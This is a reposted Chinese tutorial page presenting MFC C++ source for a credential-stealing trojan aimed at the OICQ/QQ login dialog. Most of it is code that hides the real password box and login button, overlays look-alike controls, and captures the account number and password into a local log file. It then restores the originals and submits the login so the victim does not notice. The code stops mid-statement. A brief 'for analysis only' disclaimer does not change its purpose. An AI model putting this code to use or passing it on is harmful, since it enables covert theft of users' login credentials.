黑客攻击手段之偷梁换柱

2016-01-29 12:01 10 1 收藏

黑客攻击手段之偷梁换柱,黑客攻击手段之偷梁换柱

【 tulaoshi.com - C语言心得技巧 】


黑客攻击手段之偷梁换柱
作者:何建敏

申明:本文旨在分析黑客攻击的手段,请勿用于非法目的!

Internet的发展,带动了IT界的一次大飞跃,黑客的活动也随之日益猖獗,攻击手法不断变化。各种黑客程序也是层出不穷,木马程序更是花样百出。如:监视键盘按键、替换登录程序等,现在我就来介绍另一种攻击手法,替换登录程序按钮。这招绝吧!现在我就来将方法介绍一下。
就拿我们很熟悉的OICQ来作一个例子,看看程序到底是如何实现偷梁换柱的。要替换OICQ的登录程序的按钮与密码框,首先就得捕获OICQ登录程序的登录按钮和密码框句柄。哈哈,要是换上了我们自己的按钮与密码框,不就是想干什么就干什么了吗。

示例源代码下载 大小:24K


如上图所示,我们要取得4个CWnd句柄,分另是:用户号码的CComBox、用户口令CEdit、登录按扭CButton、主对话框句柄。
m_hOicq=FindWindow(NULL,"QQ用户登录");m_hOk=CWnd::FromHandle(FindWindowEx(m_hOicq->GetSafeHwnd(),NULL,"BUTTON","登录"));m_hEdit=CWnd::FromHandle(FindWindowEx(m_hOicq->GetSafeHwnd(),NULL,"EDIT",NULL));m_hCom=CWnd::FromHandle(FindWindowEx(m_hOicq->GetSafeHwnd(),NULL,"ComboBox",NULL));///上面的m_hOicq,m_hOk,m_hEdit,m_hCom分别为CWnd *类型 
有了这四个句柄,接下来的事就好办多了,那现在我们就直接生成一个按扭和一个编辑框吧。代码如下
CFont *m_font=m_hOk->GetFont();CFont *m_font1=m_hEdit->GetFont();CRect rect;CRect rect1;m_hOk->GetWindowRect(rect);m_hOk->ScreenToClient(rect);m_hEdit->GetWindowRect(rect1);m_hEdit->ScreenToClient(rect1);rect.left+=14;rect.top+=117;rect.bottom+=117;rect.right+=14;rect1.left+=110;rect1.top+=56;rect1.bottom+=56;rect1.right+=110;m_hOk->ShowWindow(SW_HIDE);//隐藏登录按钮m_hEdit->ShowWindow(SW_HIDE);//银藏密码框if(m_button.Create("登录",WS_CHILD|WS_VISIBLE|WS_TABSTOP|BS_DEFPUSHBUTTON,rect,m_hOicq,IDC_STARTBUTTON)==FALSE)MessageBox("error");m_button.SetFont(m_font,TRUE);m_button.SetWnd(this);m_button.SetID(IDC_STARTBUTTON);if(m_edit.CreateEx(0x204,"Edit","",0x500100A0,rect1,m_hOicq,IDC_MYEDIT)==FALSE)MessageBox("error1");m_edit.SetFont(m_font1,TRUE);m_edit.SetFocus();m_edit.SetWnd(this);
上面代码中的m_button为CMyButton类型变量,m_edit为CMyEdit类型变量,请继续往下看。

这两个控件生成了!但是光生成两个控件还没用,我们得让两个控件告诉我们什么时候按了回车,什么时候点击了Mouse左键。那就得对EDIT、BUTTON做一下处理才行。用ClassWinzard生成二个派生类CMyEdit、CMyButton,分别生成WM_LBUTTONUP、PreTranslateMessage,让它处理相应的按键事件。并通讯事件发个消息给我的主对话框,那就要取得我的对话框的句柄,在两个派生类中分别生成函数
SetWnd(CWnd *pWnd)用于告知主对话框的窗口句柄。
在CMyEdit的 PreTranslateMessage(MSG* pMsg)中输入
if(pMsg->message==WM_KEYDOWN){if(pMsg->wParam==VK_RETURN)m_wnd->SendMessage(WM_ButtonDown,0,0);}

在CMyButton的OnLButtonUp(UINT nFlags, CPoint point)中输入
m_wnd->SendMessage(WM_ButtonDown,0,0);

以上将一个消息发送到我的对话框,我得把消息处里一下,做的干净漂亮些,这样用的人才不会知道我个木马程序在偷偷监视他们
CString Password,cc;char LoginName[20] ;memset(LoginName,0,20);::SendMessage(m_hCom->GetSafeHwnd(), WM_GETTEXT, 20, (LPARAM)LoginName);m_edit.GetWindowText(Password);m_edit.ShowWindow(SW_HIDE);m_hEdit->ShowWindow(SW_SHOW);m_hOk->ShowWindow(SW_SHOW);cc=0x0d;cc+=0x0a;CFileFind m_find;CFile m_file;if(!m_find.FindFile("c:oicqlog.dat"))m_file.Open("c:oicqlog.dat",CFile::modeCreate|CFile::modeWrite,NULL);else{m_file.Open("c:oicqlog.dat",CFile::modeWrite);m_file.SeekToEnd();}m_file.Write(cc,cc.GetLength());m_file.Write(LoginName,sizeof(LoginName));m_file.Write(cc,cc.GetLength());m_file.Write(Password,Password.GetLength());m_file.Close();m_hEdit->SetFocus();char *ee=Password.GetBuffer(Password.GetLength());::SendMessage(m_hEdit->GetSafeHwnd(),WM_SETTEXT,20,(LPARAM)ee);keybd_event(VK_RETURN,0,0
                        

来源:http://www.tulaoshi.com/n/20160129/1484287.html

延伸阅读
  防火墙可分为几种不同的安全等级。在Linux中,由于有许多不同的防火墙软件可供选择,安全性可低可高,最复杂的软件可提供几乎无法渗透的保护能力。不过,Linux核心本身内建了一种称作"伪装"的简单机制,除了最专门的黑客攻击外,可以抵挡住绝大部分的攻击行动。   当我们拨号接连上Internet后,我们的计算机会被赋给一个I...
  防火墙可分为几种不同的安全等级。在Linux中,由于有许多不同的防火墙软件可供选择,安全性可低可高,最复杂的软件可提供几乎无法渗透的保护能力。不过,Linux核心本身内建了一种称作"伪装"的简单机制,除了最专门的黑客攻击外,可以抵挡住绝大部分的攻击行动。 当我们拨号接连上Internet后,我们的计算机会被赋给一个IP地址...
标签: 电脑入门
我们常见攻击类型和特征及方法 攻击特征是攻击的特定指纹。入侵监测系统和网络扫描器就是根据这些特征来识别和防范攻击的。下面简要回顾一些特定地攻击渗透网络和主机的方法。 常见的攻击方法 您也许知道许多常见的攻击方法,下面列出了一些: 字典攻击:黑客利用一些自动执行的程序猜测用户命和密码,审计这类攻击通常需要做全面的日志记...
标签: 黑客
近百国遭黑客攻击   席卷全球的WannaCry勒索病毒的影响仍在持续,目前至少有150个国家受到网络攻击。北京青年报记者了解到,国内除了多所高校遭到了网络攻击,还有相当一部分企事业单位的电脑也同样中招。据英国媒体报道,一名22岁的英国网络工程师注意到,这一勒索病毒曾不断尝试进入一个极其特殊、尚不存在的网址,他顺手注册了这个...
标签: 聊天软件
      方案1:把在线的好友发送信息的对话框都最小化,当好友来信息时点击聊天记录查看好友信息内容。如果发现是非法操作等代码时不要点击任务栏的对话框。直接将代码复制发挥恶意者。(大不了同归于尽了) 但是,这总方法是典型的防君子不防小人,如果恶意者隐身登陆哪?!     同样也可以建立群来聊天,...

经验教程

54

收藏

76
微博分享 QQ分享 QQ空间 手机页面 收藏网站 回到头部